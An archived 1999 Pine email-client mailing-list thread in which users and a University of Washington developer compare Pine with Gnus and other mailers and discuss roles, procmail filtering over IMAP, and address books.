> _ _ ___ ___ ___ ___ ___
> unreal at fly dot cc dot fer dot hr / Y \/. |\/ __\/ -_)/ - \/ (_
> http://fly.cc.fer.hr/~unreal/ ___/\|__/_)\/___/_|_/___/
> Feel the Art.
>
>

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Date: Wed, 24 Feb 1999 18:04:08 +0000 ( )
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From: Topher <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: UI of Pine on X-Windows vs. MS-Windows?
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It depends on what you want it to do (as with every program ever). If you
want a newsreader, another program is probably better.

But if you want an email program, Pine excels in several areas. The thing
I like most about it is that I can telnet or SSh to my box from anywhere
in the world, and use *my* email client. Not just the same software, but
the one on my box with my configurations. That rules.

Also, the aggregate command set is something I haven't seen anywhere else.
Sure, with Eudora you can use the mouse to select multiple messages, but
isn't it easier to have the program do it for you?

Pine *is* powerful, it just doesn't fulfill the desire of every person on
earth.

For example, I'd love to be able to use roles to compose a message from an
address, but at this point it only works when replying.

I'd love a filtering program that will work over IMAP (procmail, elm's
filter and others only work on the local box). And I mean message sorting
style filtering, not display filtering.

But just because Pine doesn't do these things yet doesn't mean I'm
switching to anything else anytime soon. Pine just rules.

On Wed, 24 Feb 1999, Nancy McGough wrote:

> On 24 Feb 1999, Daniel Sands <[email protected]> wrote:
> > As the documentation says, it is intended to be a lightweight
> > program with an easy-to-use interface and a few advanced features.
>
> Please point me to where the Pine documentation says that. I have
> honestly thought Pine is powerful, but maybe I'm confused and should
> seriously start looking for a better program. Suggestions are welcome.
>
> -Nancy
>
>

Topher
Tech Support
[email protected]
Gospel Communications Network

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From: Steve Hubert <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Problems with signature and tokens
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The backslash underscore problem is a bug. It will be fixed in next
version. Your old signature file will work again at that point. Sorry for
the trouble.

--
Steve Hubert <[email protected]>
Networks and Distributed Computing, Univ. of Washington, Seattle

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From: David Dyck <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Perl (or other scripting language) and Pine (was: UI of Pine on
X-Windows vs. MS-Windows?)
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I've seen other applications that have perl embedded in
them? Has anyone look (or thought) about adding a scripting
language to pine?

I'd prefer perl, but there are probably other scripting
languages.

I know that administration-wise, we have had to wrap pine
inside shell scripts, that may have been avoided if the
system configuration file could have enabled and/or
triggered specific scripting commands.

--
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`#' command from Main menu will do this. Or you can set the feature
confirm-role-even-for-default if you don't mind prompts.

--
Steve Hubert <[email protected]>
Networks and Distributed Computing, Univ. of Washington, Seattle

On Wed, 24 Feb 1999, Topher wrote:

> For example, I'd love to be able to use roles to compose a message from an
> address, but at this point it only works when replying.

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On Wed, 24 Feb 1999, Steve Hubert wrote:

>`#' command from Main menu will do this. Or you can set the feature
>confirm-role-even-for-default if you don't mind prompts.

Would it be possible to enable te same '#' command on any screen
where 'C' (compose) is allowed? What problems would it cause?

--
Shawn Jeffries
[email protected]

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> `#' command from Main menu will do this. Or you can set the feature
> confirm-role-even-for-default if you don't mind prompts.

Excellent, thank you very much! Perhaps someday it'll work form the
index? I really hate prompts. :(

Topher
Tech Support
[email protected]
Gospel Communications Network

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Certainly possible. Since roles are new we're trying to move slowly and
figure out how they should work. We sort of threw the # command in for the
people who wanted to compose with a role. We're not ready to make it work
everywhere. We'll continue to think about ways to set a role for new
compositions.

Steve

On Wed, 24 Feb 1999, Shawn Jeffries wrote:

>
>
> On Wed, 24 Feb 1999, Steve Hubert wrote:
>
> >`#' command from Main menu will do this. Or you can set the feature
> >confirm-role-even-for-default if you don't mind prompts.
>
> Would it be possible to enable te same '#' command on any screen
> where 'C' (compose) is allowed? What problems would it cause?
>
>

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From: "Robin S. Socha" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: roles, hooks and styles... (was: UI of Pine on X-Windows vs. MS-Windows?)
In-Reply-To: Steve Hubert's message of "Wed, 24 Feb 1999 11:12:58 -0800 (PST)"
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* Steve Hubert <[email protected]> writes:
> On Wed, 24 Feb 1999, Shawn Jeffries wrote:
>> On Wed, 24 Feb 1999, Steve Hubert wrote:

>> >`#' command from Main menu will do this. Or you can set the feature
>> >confirm-role-even-for-default if you don't mind prompts.
>> Would it be possible to enable te same '#' command on any screen where
>> 'C' (compose) is allowed? What problems would it cause?
> Certainly possible. Since roles are new we're trying to move slowly and
> figure out how they should work.

Just check mutt's send-hook and folder-hook or Gnus' posting-styles.

> We sort of threw the # command in for the people who wanted to compose
> with a role. We're not ready to make it work everywhere. We'll continue
> to think about ways to set a role for new compositions.

>From the Gnus manual:
|So what if you want a different `Organization' and signature based on what
|groups you post to? And you post both from your home machine and your work
|machine, and you want different `From' lines, and so on?
|One way to do stuff like that is to write clever hooks that change the
|variables you need to have changed. That's a bit boring, so somebody came
|up with the bright idea of letting the user specify these things in a handy
|alist. Here's an example of a `gnus-posting-styles' variable:

(setq gnus-posting-styles
'((".*"
(signature-file "~/.sigfiles/general")
(name "Robin S. Socha")
("X-Home-Page" (getenv "WWW_HOME"))
(organization "South of Heaven"))
("^de.comp.os.unix.linux"
(signature random-signature-fun))
((equal (system-name) "socha.net")
(signature random-signature-fun))
(message-this-is-mail
(signature-file "~/.sigfiles/mail"))
(posting-from-work-p
(signature-file "~/.sigfiles/work")
(address "[email protected]")
(body "You are fired.\n\nSincerely, your boss.")
(organization "Control Risks Deutschland GmbH"))
(".*pine.+:"
(address "[email protected]"))))

Generally, it works on a "per folder(s)" basis, which IMVHO is the Right
Thing. YMMV.

--
Robin S. Socha <http://socha.net/>
--
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On 23 Feb 1999, Robin S. Socha <[email protected]> wrote:
> Timothy will probably kill me for Yet Another Offtopic Mail, but, hey!, we
> used to do this stuff in the Ole Days, too, so here goes...

To me, this is not offtopic. It's appropriate to discuss how Pine's
features compare to the features of other mailer/newsreaders. This way
the Pine developers get a sense of what features we think are
important and stop some of us from thinking of Pine as a program for
power users.

> --==| Pine vs. Gnus |==--
>
> [...]
>
> * store your folders and address books on servers and seamlessly access them
> from any of your machines without worrying about your systems getting out
> of sync (this is one of the beauties of IMAP)
>
> IMAP support in Pine is second to none. Gnus does have IMAP support, but
> it's still under development.

Since I have four un-networked computers here and ISPs all around the
United States, I need to use an IMAP client for my mail and news
message processing. As I look at competitors to Pine, I can't
seriously consider non-IMAP clients.

> * easily launch a URL that's in a message in your favorite browser
>
> Yup, but different browsers are just one keystroke away. Also, Emacs sports
> a built-in browser (W3).

Different browsers are easily available in Pine too. Hilite the URL,
press Enter, type A to editApp, and then enter your alternate browser.

> * use the same user interface for news and mail, and you can
> simultaneously mail and post a message
>
> News support in pine *sucks*. AFAICS, it doesn't support anything worthwhile
> (spoiler chars, supersedes, cancels).

It does support Supersedes and Cancel headers (but you have to fill
them in by hand). You can insert ^L into a message but Pine doesn't
know how to interpret it (they show up as a question mark on my
system). It would be nice if Pine interpreted ^L the way most Unix
newsreaders do.

> Courtesy copies are *extremely* annoying

When you reply to a news message, Pine asks

Follow-up to news group(s), Reply via email to author or Both?

I -- and others who understand news -- almost always answer F (for
Followup) to this question. This is a user education problem and users
of just about every newsreader are guilty of the sin of cc'ing a news
message.

> and IIRC, pine doesn't even mark them as such.

No, it doesn't but one of these days I'll write a sending filter that
will do that (or maybe someone has already done that and could share
it). At least Pine has the option of creating sending filters.

> * flag messages as new, answered, deleted, or important
>
> ... and mark their respective folders, including mail notification et al
> like this:
> * 4: nnml+robin:Pine-ML Last read on 23/02/99
> ^ ^ ^^^^^^^^^^ ^^^^^^^
> 1 2 3 4
> 1: ticked articles in group
> 2: how many articles
> 3: backend (here: local mail backend)
> 4: name of group (arbitrary)

You can get Pine to do this kind of thing using aggregate operations
on folder lists. I've got some Pine macros (using `pine -I
long-string-of-commands') that I use to create a list of my folders
that have important msgs or new msgs or whatever. Unfortunately Pine
doesn't show the number of important, new, or whatever msgs. (I'm sure
Gnus is more powerful in this respect but I wanted to let you know
that you can do this kind of thing with Pine.)

> * create macros using Pine's ``-I'' (initial keystrokes)
> command-line argument
>
> No comment. We all know what Emacs stands for.

Actually I don't. I guess the "macs" stands for macros but what
does the "E" stand for?

> * plug in your favorite editor, encryption programs, and other programs
> that help you process your messages
>
> Speaking of encryption: it's a political thing, so pine will not have PGP
> support,

You can plug in support for PGP or S/MIME or whatever the next great
encryption scheme is. Plug and play is the way to go for this kind of
thing IMHO.

> but can you tell me how you will get PGP 6.0i to work under Windos?

I don't know what the issue is here -- can you elaborate??

> * pipe a message, or group of messages, through an external program
>
> Under Windos? Nope.

This is on the UW list of features that will be added. This is my #1
PC-Pine feature request.

> * search through a message, group of messages, or group of folders
>
> I must be doing something horribly wrong here, but it just doesn't work for
> me the way I want it.

What are you doing? And what happens that isn't what you want? I like
this Pine feature quite a bit.

> * filter your messages as they arrive by using an external program
> (such as procmail) on your IMAP server.
>
> Well, that's kindalike nothing to do with pine, does it? Apart from the
> procmail stuff, Gnus offers some very neat "fancy splitting", though.

Yes, it does have something to do with Pine. It's another example of
the Pine developers understanding Internet standards and plug & play.
When there is a standard for IMAP server filtering, which there will
be ( see http://www.cyrusoft.com/sieve/ ), Pine will be all set to
plug it in and work with it. And then if there's a competing standard
(which there always is), a user could choose to plug that in instead.
This is just the same as the way Pine does encryption -- let the user
choose which program to use. And don't lock the program into a
particular component.

> * automatically cutting signatures in replies

Pine can do this. To find out all the dirty details, read the help on
enable-sigdashes and strip-from-sigdashes-on-reply. (Have you even
looked at the features in the Pine 4.10 Setup Config screen??)

> * a more consistent UI. "e", "q", "C-c" - nope.

What Pine UI inconsistencies are you referring to?

> > I think the main reason that I'm so enthusiastic about Pine is that I'm
> > able to get all the Unix-like power and flexibility on MS Windows.
>
> No you don't. You still don't have the Un*x environment. No bash. No
> vim. Nothing. Unless you install all that, too.

Actually I do have bash and vim. I use the most excellent gvim, and
Cygwin for bash.

Nancy

--
For Pine info & links, see www.ii.com/internet/messaging/pine/

�Nancy McGough http://www.ii.com Infinite Ink
--= Sent via PINE: Power Internet News & Email for Win/Unix =--

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From: Nancy McGough <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: UI of Pine on X-Windows vs. MS-Windows?
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On 24 Feb 1999, Daniel Sands <[email protected]> wrote:
> I am not saying that Pine is worthless. Only that it is excellent for basic
> purposes and useless for more advanced purposes.

Now that I've gotten through Robin's list of advanced features he'd
like to see, could you tell us what advanced purposes you think Pine
is "useless for"?

Thanks,
Nancy (who actually used to design news software and is still very
interested in the design of news and mail tools)

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From: Roger Sabin <[email protected]>
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Subject: Global Address Book
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Okay, I can now send and receive e-mail with Pine, but how do I setup a =
global address book? We can setup a personal one, but the entry in setup =
for the global address book will either say Read Only or Un-Readable. We =
have yet to figure out how to update it with addresses. What are we =
missing?

Roger Sabin
[email protected]

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From: "Robin S. Socha" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: UI of Pine on X-Windows vs. MS-Windows?
In-Reply-To: Nancy McGough's message of "Wed, 24 Feb 1999 17:11:01 -0500 (EST)"
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* Nancy McGough <[email protected]> writes:
> On 23 Feb 1999, Robin S. Socha <[email protected]> wrote:

>> --==| Pine vs. Gnus |==--
>> [...]
>> IMAP support in Pine is second to none. Gnus does have IMAP support, but
>> it's still under development.

> Since I have four un-networked computers here and ISPs all around the
> United States, I need to use an IMAP client for my mail and news message
> processing. As I look at competitors to Pine, I can't seriously consider
> non-IMAP clients.

Well, it isn't a non-IMAP client. It just doesn't offer *all* available
features. I've been using it with IMAP for more than 6 months, though,
without missing much.

>> * easily launch a URL [...]
> Different browsers are easily available in Pine too. Hilite the URL,
> press Enter, type A to editApp, and then enter your alternate browser.

We were talking of UIs, and I said "mouse click". Besides which, I really
miss my lightning completion (ie automatic completion of commands on first
match) for these cases.

[suboptimal news support]
> It does support Supersedes and Cancel headers (but you have to fill them
> in by hand).

I don't count that as "support". I count "C" and "S s" as "support".

> You can insert ^L into a message but Pine doesn't know how to interpret
> it (they show up as a question mark on my system). It would be nice if
> Pine interpreted ^L the way most Unix newsreaders do.

How can you insert with pico? It can be done with vim, but pico?

>> Courtesy copies are *extremely* annoying
> This is a user education problem and users of just about every newsreader
> are guilty of the sin of cc'ing a news message.

I'm not only talking news here (where the X-mail-copies: never header is
honoured by Gnus), but also mailing lists. I'm *on* the list. I *don't*
need a Cc. Trust me. Gnus lets you define "reply to *this* ML" in the
parameters for the respective group. Excellent, because there are lists
where Cc:s kinda do make sense.

>> and IIRC, pine doesn't even mark them as such.
> No, it doesn't but one of these days I'll write a sending filter that
> will do that (or maybe someone has already done that and could share
> it). At least Pine has the option of creating sending filters.

Sure has. Unfortunately, they aren't of much use for 90% of the users
cause they neither know shell nor perl. Again, speaking of UIs, Emacs's
customize function offers an IMO intuitive interface to these functions. I
still find pine's customization section kinda confusing, whereas Emacs' is
hierarchical (ie own screens for group, summary, article, headers, scores
etc). But maybe I'm just stupid.

>> * flag messages as new, answered, deleted, or important
>> ... and mark their respective folders, including mail notification et al
[...]
> (I'm sure Gnus is more powerful in this respect but I wanted to let you
> know that you can do this kind of thing with Pine.)

It doesn't really come anywhere near Gnus, sorry. I could easily fire up a
summary line that would make you want to cry (IMAP features included). In
fact, that was the feature that made me switch to Gnus in the first place,
because I do get a lot of mail from various accounts.

>> * create macros using Pine's ``-I'' (initial keystrokes)
>> No comment. We all know what Emacs stands for.
> Actually I don't. I guess the "macs" stands for macros but what does the
> "E" stand for?

editing.

[PGP]
> You can plug in support for PGP or S/MIME or whatever the next great
> encryption scheme is. Plug and play is the way to go for this kind of
> thing IMHO.

I was talking integration. I've got a Mailcrypt menu and mouse menu. I can
do a lot of funky things (like encrypt for remailers and the like) easily,
because the integration of PGP into Emacs (not Gnus, Mailcrypt works for
all Mail/News readers) is tight. GPG is supported, too ;-)

>> but can you tell me how you will get PGP 6.0i to work under Windos?
> I don't know what the issue is here -- can you elaborate??

It is entirely GUI based AFAICS. But I might be wrong, I don't work with
Windos.

>> * search through a message, group of messages, or group of folders
>> it just doesn't work for me the way I want it.
> What are you doing? And what happens that isn't what you want? I like
> this Pine feature quite a bit.

Do the words "rgrep" and "agrep" ring a bell? Do I have to send you a
screenshot of search-menu.el? }:-> regexps for everything. Very nifty.

>> * filter your messages as they arrive by using an external program
[it's nothing to do with pine]
> Yes, it does have something to do with Pine. It's another example of the
> Pine developers understanding Internet standards and plug & play. When
> there is a standard for IMAP server filtering, which there will be ( see
> http://www.cyrusoft.com/sieve/ ), Pine will be all set to plug it in and
> work with it.

And as per usual, it will not be integrated well (cf PGP). We were talking
of powerful UIs, weren't we? When this thing happens, Gnus will use it just
like anything else. mutt will have a menu entry for it. pine?

> (Have you even looked at the features in the Pine 4.10 Setup Config
> screen??)

Not long enough as it seems.

>> * a more consistent UI. "e", "q", "C-c" - nope.
> What Pine UI inconsistencies are you referring to?

If I want to *q*uit, I want to "q"uit. It's got better but it still isn't
100% consistent. Not to be nitpicking here, it's really not a big deal.

>> > I think the main reason that I'm so enthusiastic about Pine is that
>> > I'm able to get all the Unix-like power and flexibility on MS Windows.
>> No you don't. You still don't have the Un*x environment. No bash. No
>> vim. Nothing. Unless you install all that, too.
> Actually I do have bash and vim. I use the most excellent gvim, and
> Cygwin for bash.

That's what I said. But just imagine that some people aren't allowed to
install superior software at work. Now what?

Robin

--
Robin S. Socha <http://socha.net/>

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From: Adi Sieker <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: UI of Pine on X-Windows vs. MS-Windows?
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On Wed, 24 Feb 1999, Topher wrote:

> I'd love a filtering program that will work over IMAP (procmail, elm's
> filter and others only work on the local box). And I mean message sorting
> style filtering, not display filtering.
Not quite we are using qmail with cyrus impad and procmail.
So you can use procmail to filter IMAP mail.

Regards
Adi
--
[email protected] tel:+761 / 15 25 8-13
http://www.living-source.com fax:+761 / 15 25 8-50

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From: Michael Talbot-Wilson <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: UI of Pine on X-Windows vs. MS-Windows?
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On Wed, 24 Feb 1999, Nancy McGough wrote:

> On 24 Feb 1999, Daniel Sands <[email protected]> wrote:
> > As the documentation says, it is intended to be a lightweight
> > program with an easy-to-use interface and a few advanced features.
>
> Please point me to where the Pine documentation says that. I have
> honestly thought Pine is powerful, but maybe I'm confused and should
> seriously start looking for a better program. Suggestions are welcome.

Pine is a screen-oriented message-handling tool. In its
default configuration, Pine offers an intentionally lim-
ited set of functions geared toward the novice user, but
it also has a growing list of optional "power-user" and
personal-preference features. pinef is a variant of Pine

>From you-know-where.

But the "novice" bit is obsolete. Novices are now more novice, and
have to have it graphical.

As for better, Robin made (I thought) an impressive argument for
Gnus. But I would look at MH (or nmh) with the exmh (Tcl/Tk) front
end. I don't think you will find something inarguably better, but
you may find something that is better in enough ways for you.

--Mike

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From: Adi Sieker <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: procmail and imap
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Hi all,

after my statement that yes you can filter imap mails with procmail.
I have been asked to elaborate on that. Well here goes.
We are using qmail as the MTA with cyrus imapd.
To filter mails with procmail we call procmail from within the .qmail.
Then in the .procmail the cyrus deliver program is called to
deliver to the right imap mailbox. One thing you have to take care
of is a Standard procmail recipe which catch everything that falls
through your other recipes and delivery to a default mailbox, else they
Land in Nirvana.
This works very well for us here, but then again we don't have 100+ users.
So the load this causes is of no real concern. I actually have no Idea if
this scenario causes excesive load or not.

Regards
ADi
--
[email protected] tel:+761 / 15 25 8-13
http://www.living-source.com fax:+761 / 15 25 8-50

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From: M Lev-Tov <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: getting pop3
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I want to get teh email sent to my pine account using Eudora. Is this
possible? If so, how do I get my POP3 without contacting my service
provider?

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